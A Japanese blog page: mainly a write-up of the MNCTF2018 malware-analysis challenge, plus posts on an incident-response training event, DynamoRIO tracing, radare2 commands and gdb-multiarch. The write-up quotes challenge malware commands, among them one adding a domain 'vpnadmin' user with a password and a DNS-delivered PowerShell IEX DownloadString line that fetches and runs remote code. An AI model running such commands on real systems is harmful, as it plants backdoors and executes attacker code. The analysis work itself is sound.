Writeup - 今さらながらMNCTF2018をやってみた
MNCTF2019が公開されましたが、まずこっちをやってなかったのでやってみた。 基本的には、他のWriteupはみない状態でチャレンジ。ギブアップしたものだけみて勉強
練習問題
これについては、特に説明は不要かと。 単純に指定された文字列を入力欄に入力するだけ。
新人奮闘Ⅰ
解析対象のマルウェアのSHA-256のハッシュ値を求める問題。 やり方は色々ありそう。
Windows OSでやる場合には、Certutil
コマンドとPowershellのGet-FileHash
コマンドが使えそう。
- certutilコマンドを使う
certutil.exe -hashfile AD_OptimizationTool.exe SHA256 SHA256 ハッシュ (ファイル AD_OptimizationTool.exe): f2 4f 56 29 be 2e 0f 82 1a db 36 fe 4d 47 40 79 37 f5 a3 18 bf 96 ae 36 55 b6 28 f8 33 04 0f 29 CertUtil: -hashfile コマンドは正常に完了しました。
ただし、certutilの場合だと、1バイトごとにスペースが入ってしまうのでそのままVTに投げてもちゃんと解析してくれない。 (取り除くとなると一手間かかる)
- PowershellのGet-FileHashコマンドレットを使う
PS > Get-FileHash -algorithm sha256 .\AD_OptimizationTool.exe | select-object hash Hash ---- F24F5629BE2E0F821ADB36FE4D47407937F5A318BF96AE3655B628F833040F29
こっちの方が非常に簡単。複数カラムが出てくるけど、ハッシュ値以外不要なのでselect-object
コマンドレットでハッシュ値のみを出すようにした。
新人奮闘Ⅱ
とだくんの解析レポートのお手伝い。全部を埋める必要がある。 項目で埋める必要があるのは以下の通り。
ファイル情報
PE情報
- コンパイル日時
- Import関数
ぱっと見、全てCFF Explorerやpestudioでいけそうだなぁという感じ。 ただし、いずれのツールもSHA-256のハッシュ値は出てこない。 まぁ、先ほどの問題でSHA-256のハッシュ値はすでに出ているので、ここでは特に問題はないはず
PEの情報は、コンパイル日時はFile Header内に書かれている。CFF ExplorerだとHexの値で出てくるので変換(Unix timestampの形式なので、それを踏まえて)が必要だが、pestudioだとちゃんと変換後の情報(かつLocal Time)で出してくれている。問題はUTCで答えないといけないため、pestudioで出た時間から-9時間すればいい。
Import関数については、Section Headerをみると.importというセクションがあるのでおそらくここにDLLとインポート関数の名前が出てくると思われる。実際、CFF ExplorerでImport Directoryの項目をみるとDLL名とインポート関数の名前が出てくるので、これを答えればいい。pestudioの場合であればimport symbolという項目でインポート関数を一覧でみることができる(こっちの方が問題解く上では楽)
新人奮闘Ⅲ
「マルウェアが実行されたあとコマンドが実行される」とあるので、Windows APIのShellExecuteAを実行するところの引数を確認すればいい。 IDAなどのディスアセンブラなど使えば問題ない。 IDAを使う場合には、まずImportのタブからShellExecuteAのアドレスにとび、次にShellExecuteAのアドレスをcallしている部分にxrefで飛べばいい。
cmd /c net user /add /domain vpnadmin P@ssw0rD1!
というコマンドがみれるはず。 コマンドの意味は「ドメインにvpnadminユーザーを追加して、パスワードをP@ssw0rD1!に設定する」。
新人奮闘Ⅳ
アクセスログの分析とマルウェア解析の情報で不正ログインされている時刻を答える問題。 マルウェアによって作成されたアカウントがvpnadminなので、まずはログの中でこのユーザーがあるかどうかを確認 いつもだとLinuxのコマンドを使うのですが、今回はあえてPowershellでチャレンジ。
PS> Get-Content -Path .¥vpn20180712.log -Encoding String | ConvertFrom-Csv | Where-Object { $_.account -eq "vpnadmin"} date account ipaddress ---- ------- --------- 2018/07/13 15:01 vpnadmin 27.117.128.1
なので、上記の時間を答えればいい。
新人奮闘Ⅳ
攻撃元IPアドレスがどの国か、という問題。 上記のIPアドレスをGeoIPなどにぶん投げばとける。Koreaと出てくるので、回答は韓国になる。
大量不正
マルウェア軍から類似性の高い組み合わせを見つける問題。 類似性というとファジーハッシュかな、ということでssdeepコマンドで検体同士の比較を行う。ssdeepコマンドはREMnuxやSIFT(forensic workstation)に入っている。 ダウンロードしたzipを展開して、以下のコマンドを実行すると比較した結果を表示してくれる
$ ssdeep -b -d malware/* sample68.bin matches sample1.bin (99)
種類特定
苦手なネットワーク関連。パケットからマルウェアの名前を特定する。 pcapを解析することになるので、無難にWiresharkを使っていく。
pcapを開いて、まず「あー」という感じで、あきらかに怪しそうな通信があるのがわかる。 自分の感覚では、「無意味に長く、パスの名前に規則性がなさそうなもの」は「なんか怪しい」と思う。
ただ、自分はここからわかんなかった。。「こっから先、どうすればいいんだ」状態。 というわけでここであきらめて他の人のwriteupとかみてみた。/image/とか.gifがつくのはUrsnifの特徴らしい。 NTTセキュリティさんのところでも、UrsnifがC2サーバと通信する際のURLの特徴としてあげていた。
バンキングマルウェア「URSNIF」解析レポート https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/jp_ursnif_20161226
こういったURLの特徴から種別を特定するって頭があまりなかったので、非常にいい知見を得られた! 中身の動作以外にも、こういうところにもちゃんと目を向けないとという教訓にもなった。
標的型攻撃Ⅰ
メールに添付されているexcelファイルを解析する問題。 OfficeMalScannerかoledump.pyが使えるかな、という所。コマンドとか具体的に何できたかは、ちょっとうろ覚えなのであとでちゃんと確認しておきたい。 OfficeMalScannerを使う場合には、以下のコマンドで実行。ただ、ファイル名がおかしいのかどうかわからないけどなぜか用意した環境だとちゃんと解析されなかったので、ファイル名をちょっと変更して行う。
officemalscanner malicious_201800711.xls info +------------------------------------------+ | OfficeMalScanner v0.61 | | Frank Boldewin / www.reconstructer.org | +------------------------------------------+ [*] INFO mode selected [*] Opening file malicious_201800711.xls [*] Filesize is 39424 (0x9a00) Bytes [*] Ms Office OLE2 Compound Format document detected [*] Format type Excel -------------------------------------------------- [Scanning for VB-code in MALICIOUS_201800711.XLS] -------------------------------------------------- Sheet1 ThisWorkbook ----------------------------------------------------------------------------- VB-MACRO CODE WAS FOUND INSIDE THIS FILE! The decompressed Macro code was stored here: ------> C:\Users\motojiro\Desktop\mnctf\MALICIOUS_201800711.XLS-Macros -----------------------------------------------------------------------------
マクロが検出され出力されるので、マクロのコードをみてみる。
どうやらC6:C11
の範囲のユーザー名と比較を行なっているっぽいので、実際にシートの中身をみていく。ただ、Officeとか用意するの面倒なのでゴリ押しするw
問題として配布されたexcelファイルの拡張子を.zip
に変更して、そのzipを展開。すると、excel内のリソースが色々出てくる。
その中で、実際のシートに該当しそうなファイルとしてWorkbookというファイルがあるので、これをメモ帳で開く。
なんかユーザー名っぽいものがいくつか見える。これを回答に投げてやればいい。
.....絶対Officeとか用意しておいたほうがいいよなぁw
なお、もし、フォレンジック調査で「感染した端末のディスクが入手できた」のであれば、Recentフォルダとかを調査して「このExcelファイルがいつ開かれたか」を調査する必要がある、はず。
標的攻撃Ⅱ
ドキュメントのマクロが実行されるとHTTPSの通信が発生するので、そのURLを回答する問題。 そうなると、マクロの中にURLが含まれているかどうかをまず確認。ちゃっかりあるので、これが答え。
なお、実行ファイルの格納先としてスタートアップフォルダが指定されているので、PC再起動時にこの通信で取得した実行ファイルが動作するようになる。 なので、フォレンジックする時には、「スタートアップフォルダに実行ファイルがあるかどうか」と実際に実行されたとなれば「Prefetchファイルに当該実行ファイル名のものが残っているか、残っている場合にはそのPrefetchファイルから実行の履歴を抽出」する必要がある。
標的攻撃Ⅲ
excelのマクロ実行後に出てくる2次検体のsha256を答える問題。
標的攻撃Ⅱの部分で、落としてくるファイルのURLがわかっており、そのあとのスクリプトの部分で落としてきたファイルに対してどのような操作が行われるかが明示的に示されている。
certというファイルを落としてスタートアップフォルダに格納。certutil -decode
を使ってデコードをおこない、cert.exeとしてファイルを保存している。
なので、同じようにファイルをダウンロードしてcertutilコマンドを実行する
certutil -decode cert cert.exe
あとは、このcert.exeのsha256のハッシュ値を求めればいい
Get-FileHash -Algorithm sha256 cert.exe | Select-Object Hash Hash ---- C4F069D079330CD46E51F9469C27015ED34C6371481DF83A323BC098F3B53382
標的攻撃Ⅳ
2次検体を実行するとHTTPSの通信が発生する。その「最初の通信のURL」を求める。 うわぁ。またネットワークの問題...
へこたれず、まずは検体を調べてみる。 まずは、表層解析をExeInfo PEとCFF Explorerをつかってやる。 ExeInfo PEで、パッカーがかかっていないかどいうかチェック。かかっていなさそう(セクションのサイズも特に問題なさそう) CFF Explorerを使って、インポート関数とかを確認。通信系のDLLであるWSOCK32.dllやWS2_32.dllの存在が確認できた。多分ここら辺使って通信は行うんだろう。
ということで、いきなりIDAを使う。。。のではなく解析環境上で動かしてみて、なにか出るかやってみる。通信は外に出したくないので閉鎖環境上で2台動かす。Windows上でProcess Monitorを起動した状態で検体を動かし、REMnuxでINetSimとfakeDNSを動かして動作の観察を行う。
実際、検体を動かしてみると、fakeDNSのログにshino.meと出てきたので「これだ!」と思って投げてみたけど不正解。 ただ、それ以外でそれらしきものが出ない。 cmdでnslookupを実行しているのは把握できた。実際に把握できたコマンドは以下の通り(Process Monitorから)。
cmd.exe /c for /F "usebackq tokens=*" %i in (`"nslookup -querytype=TXT shinohack.me. ns1.domain.com"`) do cmd /c %i
ただ、こっから先で止まってしまった。 ということでうんうん悩んだけどわからんかったのでギブアップ。 他の方のwriteupをみると、「shinohack.meドメインのtxtレコードをDNS検索すると、PowerShellコマンドがそこに含まれている」とあった。 実際に、インターネットに接続できるLinux環境を使って、cmdで実行されているnslookupコマンド部分のみを実行してみると....
$ nslookup -querytype=TXT shinohack.me. ns1.domain.com Server: ns1.domain.com Address: 66.96.142.147#53 shinohack.me text = "powershell -WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php');"
出てきましたね。。。DownloadStringで指定されているURLが問題の回答になる。
普通にcmdで実行したnslookupコマンド部分のみを抜き出して実行したらよかっただけかー、という感じ。ただ、解析環境が閉鎖的なのでその点は注意が必要。
穴埋防御
配布されるyaraルールをみてみると、strings
の箇所で「Mutex Nameを入力してね」とあるので、Mutexを不審なファイルから探してみる
不審なファイルは、中身をみると明らかエンコードとかされているようなので、まずはBase64でデコードしてみる。
Certutil -decode Mutant.txt decoded_mutant.txt
するとあっさりPowershellのスクリプトが出てくる。
スクリプトの中身をVSCodeでみていく(outlineで関数名が出てくるので非常に便利)と、よくみるInvoke-ReflectivePEInjection
が出てきます。PowerSploitのモジュールの1つですね。
上から下までズラーっとみていくと、最後の行にInvoke-REflectivePEInjection
を実際に実行している部分がある。
引数のうちPEBytesで指定されているものが長ったるいエンコードされた文字列なので、ひとまずbase64でデコードしてファイルとして出力にしてみる。
中身をみるとこんな感じ。
ちょっとおしい。先頭がMZの出来損ないみたいになっているので、もう一手間ありそう。という事で、もう一度Powershellのスクリプトに戻る。注目すべきはPEBytesにどのような処理が加えられているか。 VSCode上で「 PEBytes」で検索をかけると結構出てくるが、Main関数の中に変換処理が記述されている。
- Base64でデコード処理([System.Convert]::FromBase64String)
- XOR 0x17
なので、これの通りに変換処理を加えてみる。ちゃんとPEフォーマットになっている様子。 あとは、outputをファイルとして出力してIDAなりで解析する。CyberChef本当に便利。
IDAで解析する際には、CreateMutex
の関数に注目すればいい。引数として設定されている文字列がMutexの値となる。
(かっこは外さないと正解じゃないらしい....)
盗難情報
暗号いやぁ〜。けどチャレンジ。 暗号化はXOR, Base64, ROT13の順番で行われているらしい。 という事で、CyberChefを使って上の逆順で処理をかけてみる。ただ、XORのシングルバイトキーはまだ不明なので適当に入れてみようかな。と思いきやCyberChefにXOR Brute ForceといういけてるOperationがあったので、これを使ってみる。 やってみた結果がこちら。
key=0x15で、先頭の文字列が画像ファイルのシグネチャみたいなものになっている。なので、XORでkey=0x15に設定し、変換後ファイルとして保存する。
中身をみると、中に答えが書いてあるという感じ。
感想
自力で結構解けたのが意外だった。自分の成長が感じ取れたのはかなり嬉しい。 また、マルウェアの情報の収集とかは結構しているつもりだったけど、特徴とかそういったものをちゃんとおさえられてないと若干危機感を感じた(Ursnifの問題)ので、ちゃんと情報収拾したらまとめておきたい。 ネットワーク関連は苦手なので、ちゃんと勉強しようと思った。
では、次はMNCTF2019を解くぞー!
Micro Hardening @ AD sapporoに参加!
めちゃくちゃ遅くなりましたが、報告もかねて。
以前から気になってはいたのですが、なかなか「今のスキルでいっても大丈夫なんか」と二の足を踏んでいました。ただ、北海道で開催されるということだったので勇気を出して参加してみました。
44b65c5061cecfdc02f94b9ce2.doorkeeper.jp
まぁ、結果としては「スキル貧弱すぎね?ワイ」という他なく、メンバーの方には迷惑をかなりかけたと思います(watchコマンドとか、この時メンバーの人に言われて初めて知りました....)。本当に申し訳ない...
ただ、得られるものがたくさんありました。なので、「参加して本当によかったなぁ」って思いましたし、さらに視野が広がったなぁという感じです。
参加して思ったこと
個人的な感想としては以下の2つが大きいです。
- 知識として知っていたとしても、実際に手を動かして対処するのは日頃から具体的に対処の内容を意識していないと難しい
当然なのですが、これは本当に実感しました。普段、ニュースなどで「インシデントで.....設定に不備が....」といった話題があった際に、対処の内容を具体性を持って考えられていなかったんだなぁ、と。
内容的に簡単な作業だと思っていても、やはりやってみると案外難しいこととか「コマンドなんだっけ?」ってググってやって時間がかかってしまったりというのは結構にありました。
こういったところでもたつかないようにするためにも「対応を行う際の手順」を持っておくのは非常に重要だなと思います。
また、こういった手順を作るためには、自分たちが持っているリソースがなんなのかをちゃんと理解しておくことも必要ということも思いました。「何に対して(データベースサーバとかWebサーバとか)」「どのような処置を施す(どんなコマンドなどを実行するのか)」とかですね。
(こういった話はインシデント対応の資料とかで見られる内容だと思います)
- チームとして対処するので「情報共有」「チームワーク」は本当に重要
インシデント対応の現場で、チームワークの不足と情報共有不足は本当に命取りになるのは実感しました。今回は、即席のチームでぎこちない部分もありましたが(汗)、これが「実際の現場だったら...」と想像すると、かなりゾッとします。 そうならないためにも、会社などの組織に属しているのであれば「日頃から関連部署とはちゃんと連携しておきたいよなぁ」といったところ。
情報共有にしても、「対応を行う際の手順」を共有知識として持っておくことも必要だと思いますし、可能であれば手順にしたがって対応がちゃんとできるかどうかの訓練はしておきたい。
もし、「対応を行う手順」がなかったとしても、slackやhackmdなどのツールなどを用いて「気になった情報」「誰が何を対処したか」などの情報は共有できるような体制にはしておきたい(理想ですが)。
今後やっておきたいこと
- 配布された事前資料をちゃんと復習すること。
当日もこの資料をみて解決できるものが結構あったということなので、まずはそこから。
- 今回使用された攻撃、それが成立してしまう要因(設定など)、対策方法(なにを実施すれば防げたのか)をちゃんと一通りまとめておくことをやっておきたい。
知識としてちゃんとまとめておくことは必要だし、ちゃんと手を動かして確かめておきたい
- 情報共有の方法を検討(slackとかhackmdあればいいけど、ない場合はホワイトボードとか?)
最後に、
私自身、こういった「リアルタイムで攻撃を受けている時に、どのように対処するか」ということをやったことがなかったので、実際に参加してそれがいかに難しいかを実体験できたのは非常にいい経験でした。
いきなり会社とかで「対処しろ」と言われたとしても、事前の訓練なしには何もできない可能性が高いことも実感できました。こういったイベントを通じて「何を」「どのように対処」するかを手を動かして、そしてチームで連携を取りながら訓練できる機会は本当に貴重です。
ぜひ、興味がある人には勇気を出して参加してほしいとおもいます。
また、このようなイベントを立案・実施してくださった方々には本当に感謝です。ありがとうございました。
可能であれば、継続的に参加したいです。
自分に対する戒め
やりすぎセキュリティはノー!
動的バイナリ計装(Dynamic Binary Instrumentation)を調べたりしてみた
CODE BLUEのトレーニングにあったDBIというものがちょっと面白そうだったので、調べたりしてみました。
トレーニング自体参加したかったのですが、仕事の関係で参加できず。
codeblue.jp
ただ、調べたり論文みたりしてみたらかなり便利そう(特にマルウェア解析するときには効率良くなりそう)と思ったので、わからないことは多いけど少しまとめてみます。
動的バイナリ計装(DBI : Dynamic Binary Instrumentation)とは
論文とかをみてみると、下のようにまとめられるかな、と。
- プログラムの動的解析の手法
- 実行中のプログラムにコードを挿入(コードは解析者があらかじめ準備)
- プログラム内の情報(APIの関数名、設定された引数など)を明らかにできる
日本語で書かれた記事については下の参考URLをみてほしいのですが、英語の記事でまとまってそうなのはこちら。
Dynamic Binary Instrumentation Primer
ツール
ざっくり調べてみた感じで、DBIツールにどんなものがあるかを列挙してみます。
やってみる!
今回は、上の中でもDynamoRIOを使ってみたいと思います。とりあえずの取っ掛かりとしてはつかいやすそうだったのが理由です。
ダウンロードしたzipを展開して、コマンドを実行すれば色々情報が取れそうな感じです。
今回試してみる環境はこちら
環境
- ホストOS : Windows7 64bit
- 仮想環境 : VMware Workstation 12 Pro
- ゲストOS : Windows10 64bit
- DynamoRIO version : 7.0.0-RC1(DynamoRIO-Windows-7.0.0-RC1.zipをダウンロード)
ゲスト環境にDynamoRIOを展開して、色々やってみます。
System Call Tracer
Windowsにおけるシステムコールをトレースすることができます。呼び出されたシステムコール、設定された引数がログとしてファイルに出力されます。
以下のコマンドで電卓(calc.exe)をトレースすると、以下のような結果が得られます。
drrun.exe -t drstrace -- calc
NtQueryVirtualMemory arg 0: 0xffffffff (type=HANDLE, size=0x4) arg 1: 0x008c2980 (type=void *, size=0x4) arg 2: 0x2 (type=int, size=0x4) arg 3: 0x02d1fca4 (type=<struct>*, size=0x4) arg 4: 0x212 (type=unsigned int, size=0x4) arg 5: 0x00000000 (type=unsigned int*, size=0x4) succeeded => arg 3: <NYI> (type=<struct>*, size=0x4) arg 5: 0x00000000 (type=unsigned int*, size=0x4) retval: 0x0 (type=NTSTATUS, size=0x4) NtQueryInformationProcess arg 0: 0xffffffff (type=HANDLE, size=0x4) arg 1: 0x24 (type=int, size=0x4) arg 2: 0x02d1fc78 (type=<struct>*, size=0x4) arg 3: 0x4 (type=unsigned int, size=0x4) arg 4: 0x00000000 (type=unsigned int*, size=0x4) succeeded => arg 2: <NYI> (type=<struct>*, size=0x4) arg 4: 0x00000000 (type=unsigned int*, size=0x4) retval: 0x0 (type=NTSTATUS, size=0x4) .......
Library Tracing Tool
呼び出されたライブラリコールをトレースして表示してくれます。
以下のコマンドでメモ帳(notepad.exe)をトレースすると、以下のような結果が得られます
drrun -t drltrace -only_from_app -- notepad
~~~~ KERNEL32.dll!GetStartupInfoA(0x007dfbfc, 0x595d088d) ~~~~ KERNELBASE.dll!GetModuleHandleA(0x00000000, 0x007dfbdc) ~~~~ msvcrt.dll!__set_app_type(0x00000002, 0x00000002) ~~~~ msvcrt.dll!__p__fmode(0x00e2a63a, 0x007e0000) ~~~~ msvcrt.dll!__p__commode(0x00e2a63a, 0x007e0000) ~~~~ msvcrt.dll!_controlfp(0x00010000, 0x00030000) ~~~~ KERNELBASE.dll!SetUnhandledExceptionFilter(0x00e2a880, 0x00e2a63a) ~~~~ msvcrt.dll!_initterm(0x00e11328, 0x00e11340) ~~~~ msvcrt.dll!__getmainargs(0x00e2c7e8, 0x00e2c7ec) ~~~~ msvcrt.dll!_onexit(0x00e2af40, 0x595d0f49) ~~~~ msvcrt.dll!_onexit(0x00e2af60, 0x595d0f49) ~~~~ msvcrt.dll!_ismbblead(0x0000006e, 0x595d088d)
かっこ内で表示されているのは、ライブラリコールの際に設定された引数の一部っぽい?
まとめ
ぶっちゃけまだ勝手がよくわからんと言う感じ。
ただ、「どんなライブラリコールがされたのか」「どういった順番でよばれたか」がわかる感じなので、ちゃんとツールの特徴とかを把握できればマルウェア解析とが少し楽になりそうと言う感想。
他にも色々ツールがあるので試してみたいのと、ちゃんと「DBIってなに」というのを勉強しようと思う。
特に、セキュリティ系の論文は結構読んでて面白いなぁと思うことがよくあるので、これからも色々読んで試せるものがあれば試してみたいと思います。
【参考URL】
PinからPEMUへ | 一生あとで読んでろ
Intel Pinを使ってみる - ももいろテクノロジー
PEMUを動かしてみる - 拾い物のコンパス
Windows 10でDynamoRIOを使ってみた - SENTO NO OBOEGAKI
【あとで追加予定】radare2メモ書き
CTF界隈では非常に使われているradare2ですが、コマンドとかよくわからないし、どう処理を進めていけばいいのかが全然わからんちんなので、まとめておく。
radare2とは
Reverse Engineering Framework。バイナリの解析とかに便利なツール、コマンドが色々入っている。
いろんなアーキテクチャ、ファイルフォーマットに対応している。フリーでさまざまなアーキテクチャ・ファイルフォーマットに対応している点は非常に強いと思う(ただし、x86には対応しているがx86-64には対応していない様子)。詳しい情報は以下を参照。
github.com
一番最初のコマンド
逆アセンブルするだけの場合とデバッグをする場合ではすこし違う。
ただ、dスイッチをつけるだけなのだが。
【逆アセンブル】最初のコマンド
r2 <elf binary file>
【デバッグ】最初のコマンド
r2 -d <elf binary file>
dスイッチをつけることで、デバッグモードで起動することが可能。起動すると以下のような表示があった後、プロンプトが表示される。
$ r2 -d hello Process with PID 9276 started... = attach 9276 9276 bin.baddr 0x00400000 Using 0x400000 asm.bits 64 -- Press 'C' in visual mode to toggle colors [0x7f532faecc30]>
ここで表示される画面がradare shellというものらしい。
まぁ、radareにおけるホーム画面みたいなもんとして今の所は理解しておけばいいかと。
で、最初のコマンドが違うだけで、後の操作は基本的に同じかと思われる。
radare shell起動後の操作
セキュリティ機構の有無
iI
実行するとこんな感じ。
[0x7f532faecc30]> iI arch x86 baddr 0x400000 binsz 6666 bintype elf bits 64 canary false class ELF64 crypto false endian little havecode true intrp /lib64/ld-linux-x86-64.so.2 lang c linenum true lsyms true machine AMD x86-64 architecture maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true relro partial rpath NONE static false stripped false subsys linux va true
バイナリに関連する情報と、セキュリティ機構の有無に関する情報が出てくる。
checksec.shとかと似たようなもん。
初期段階の解析
aaa
上記のコマンド(analyzeコマンド)を行うと以下のような表示が出る。
[0x7f532faecc30]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [TOFIX: afta can't run in debugger mode.ions (afta) [x] Type matching analysis for all functions (afta) [x] Use -AA or aaaa to perform additional experimental analysis. = attach 9276 9276 9276
複数の解析をいっぺんにやっているという感じ。
複数の解析というのは、各行のカッコ内に記述されているコマンド。
なので、aa, aac, aar, aan, aftaをaaaというコマンドでいっぺんにやっているという感じでしょうか。
各コマンドの意味は、上の出力から判断できるかと。
関数名の調査
afl
バイナリに含まれているシンボルの一覧を出す(analyze function list?)ようなものでしょうか。
表示されるものは以下のようなもの
[0x7f532faecc30]> afl 0x00400400 3 26 sym._init 0x00400430 1 6 sym.imp.puts 0x00400440 1 6 sym.imp.__libc_start_main 0x00400450 1 6 sym.imp.exit 0x00400460 1 6 sub.__gmon_start_460 0x00400470 1 41 entry0 0x004004a0 4 50 -> 41 sym.deregister_tm_clones 0x004004e0 4 58 -> 55 sym.register_tm_clones 0x00400520 3 28 sym.__do_global_dtors_aux 0x00400540 4 38 -> 35 entry1.init 0x00400566 1 24 sym.main 0x00400580 4 101 sym.__libc_csu_init 0x004005f0 1 2 sym.__libc_csu_fini 0x004005f4 1 9 sym._fini
特定の関数またはアドレスへの移動
s <symbol or address>
sはseekコマンド。特定のシンボルがさす関数の先頭または任意のアドレスへの移動を行う。
例えば、aflで
[0x7f532faecc30]> afl 0x00400400 3 26 sym._init 0x00400430 1 6 sym.imp.puts 0x00400440 1 6 sym.imp.__libc_start_main 0x00400450 1 6 sym.imp.exit 0x00400460 1 6 sub.__gmon_start_460 0x00400470 1 41 entry0 0x004004a0 4 50 -> 41 sym.deregister_tm_clones 0x004004e0 4 58 -> 55 sym.register_tm_clones 0x00400520 3 28 sym.__do_global_dtors_aux 0x00400540 4 38 -> 35 entry1.init 0x00400566 1 24 sym.main 0x00400580 4 101 sym.__libc_csu_init 0x004005f0 1 2 sym.__libc_csu_fini 0x004005f4 1 9 sym._fini
sym.mainに移動したいのであれば、
s sym.main
とする。そうすると、プロンプトのアドレスがseekした後のアドレスに変化する。
[0x7f532faecc30]> s sym.main [0x00400566]>
ビジュアルモードへの移行
Vコマンドをベースとして、次にくる文字によって表示方法を変更する。
表示方法としてはおもにfncgraphとpanelがある。
その1:fncgraph(function graph?)
[0040055a]> VV
これを実行すると、現在のアドレスを開始地点としてIDAのGraph Viewっぽい画面が出る。
[0x00400566]> VV @ sym.main (nodes 1 edges 0 zoom 100%) BB-NORM mouse:canvas-y mov-speed:5 .---------------------------------------------------. | [0x400566] | | ;-- main: | | (fcn) sym.main 24 | | sym.main (int argc, char **argv, char **envp); | | ; DATA XREF from entry0 (0x40048d) | | push rbp | | mov rbp, rsp | | ; 0x400604 | | ; "Hello world!" | | mov edi, str.Hello_world | | call sym.imp.puts;[ga] | | mov edi, 0 | | call sym.imp.exit;[gb] | `---------------------------------------------------'
画面の移動はvimと同じようにhjklキーを使って行う。
で、この画面上でできることは
入力キー | 操作 |
---|---|
shift+/キー | 使用可能なコマンド一覧を表示(ヘルプ機能) |
xキー | 今いるサブルーチンの呼び出し元(xref)のアセンブリコードを表示する |
スペース | hexダンプの表示 |
shift+dキー | アセンブリコードとアドレスを同時に表示するモード |
あとfncgraphの画面で
xキー -> vキー
という順番でやると、左側に関数のシンボル名、右側に左側で選択した関数のアドレスから何行分かのアセンブリコードが表示される画面が出てくる。
その2:Panel表示
[0040055a]> V!
上記のコマンドを入力すると、以下のような画面が表示される。
それぞれのパネルへ、tabキーを使うことで移動することが可能。
また、上にあるCUI版メニューバーへもtabキーで移動可能。
メニューバーには結構色々な機能があって、非常に使える。
(ただ、string検索はなぜか引っかかるはずの文字列が引っかからなかったのだが....)
いつものデバッグ操作
基本的なデバッグ操作はだいたい
という感じが多い。なので、それをradareでやる場合のコマンドなどを下にまとめる。基本的にはradare shell上でdコマンド(debug command)を使っていくことになる。
ここまでで把握できたもの
大まかなコマンド体系としては、いくつかの1文字で表現されるメインコマンドがあり、1文字で表現されるサブコマンド・オプションを合体させて1つの実行コマンドとしている。(メインコマンドの一覧は、radare shell上で'?'コマンドを実行するとみることが可能)
メインコマンドのうち主要なものを以下に列挙。
a : analyze command
aの次にくる文字で「何を解析(analyze)の対象とするか」を指定する
(例として、関数名を調べたい場合には' af 'とする)
で、その次にくる文字で「解析した結果をどのように処理したいか」というオプションがくる。
(例としては、リストとして画面出力したい場合であれば' afl 'とする)
p : print command
pの次にくる文字で「どういった形式で出力(print)を行うか」を指定する
(例として、逆アセンブルしたコードを出力する場合には' pd 'とする)
で、その次にくる文字で「何を対象とするか:を指定する
(例として、関数を出力する場合には' pdf@function_name 'とする)
i : information command
iの次にくる文字で「どういった情報を出力するか」を指定する
(例として、importされた関数の情報が欲しい場合には' ii 'とする)
V : Visual mode command
vの次にくる文字で「どういったモードで表示を行うか」を指定する
(例として、上記のようにpanelで表示する場合には' V! 'とする)
d : debug command
dの次にくる文字で「デバッグモードでどのような操作を行うか」を指定
gdbでarmバイナリをデバッグできるようにする
普段はMacにVMware Fusionをいれて、仮想マシンでLinux環境を動かしているわけですが、CTFの問題を解いているとELFだったとしてもアーキテクチャがARMのものにぶち当たったりします。
GDBでARMのELFをデバッグするためのパッケージとして、gdb-multiarchというものがあります。
これを入れることで、普段だとx86-64やx86のアーキテクチャのELFしか解析できない(はず)ですが、ARMのアーキテクチャもちゃんと解析できるようになります。
環境
$ uname -a Linux forensic-virtual-machine 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/os-release NAME="Ubuntu" VERSION="16.04.4 LTS (Xenial Xerus)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 16.04.4 LTS" VERSION_ID="16.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" VERSION_CODENAME=xenial UBUNTU_CODENAME=xenial
解析対象
とあるCTFの問題で出てきたバイナリを対象とします(手元にちょうどあったので)
$ file bin_arm bin_arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, not stripped
gdb-multiarchが入っていない場合
まずは、gdb-multiarchが入っていない状態でバイナリを解析してみます。
いつも通りデバッグ対象に上記のファイルを指定します。
gdb bin_arm
試しにmain関数を逆アセンブルした結果を見てみようと思います。
gdb-peda$ disas main Dump of assembler code for function main: 0x0001055c <+0>: add BYTE PTR [eax+0x2d],cl 0x0001055f <+3>: jmp 0xe28eb568 0x00010564 <+8>: or al,dl 0x00010566 <+10>: dec ebp 0x00010567 <+11>: loop 0x10571 <main+21> 0x00010569 <+13>: add BYTE PTR [ebx],cl 0x0001056b <+15>: in eax,0xc 0x0001056d <+17>: adc BYTE PTR [ebx],cl 0x0001056f <+19>: in eax,0x8 0x00010571 <+21>: xor BYTE PTR [ebx],bl 0x00010573 <+23>: in eax,0x1 0x00010575 <+25>: add BYTE PTR [ebx-0x1d],dl 0x00010578 <+28>: or BYTE PTR [eax],al 0x0001057a <+30>: add dl,cl 0x0001057c <+32>: pusha 0x0001057d <+33>: xor BYTE PTR [edi-0x6cffff1b],bl 0x00010583 <+39>: in eax,0xc 0x00010585 <+41>: xor BYTE PTR [ebx],bl 0x00010587 <+43>: in eax,0x0 0x00010589 <+45>: xor BYTE PTR [ebx-0x5fdffc1b],dl 0x0001058f <+51>: loope 0x105e1 <main+133> 0x00010591 <+53>: adc BYTE PTR [edi-0x891b],bl 0x00010597 <+59>: jmp 0x10599 <main+61> 0x00010599 <+61>: xor al,ah 0x0001059b <+63>: jecxz 0x105aa <main+78> 0x0001059d <+65>: add BYTE PTR [eax],al 0x0001059f <+67>: jmp 0x3004:0xe51b300c 0x000105a6 <+74>: and edx,0x0 0x000105a9 <+77>: xor BYTE PTR [ebx-0x5ffffc1b],dl 0x000105af <+83>: loope 0x10573 <main+23> 0x000105b1 <+85>: (bad) 0x000105b2 <+86>: (bad) 0x000105b3 <+87>: jmp 0x105b5 <main+89> 0x000105b5 <+89>: xor BYTE PTR [eax+0x530000e1],ah 0x000105bb <+95>: jecxz 0x105bf <main+99> 0x000105bd <+97>: add BYTE PTR [eax],al 0x000105bf <+99>: sbb ah,BYTE PTR [eax+eax*1] 0x000105c2 <+102>: lahf 0x000105c3 <+103>: in eax,0x61 0x000105c5 <+105>: (bad) 0x000105c6 <+106>: (bad) 0x000105c7 <+107>: 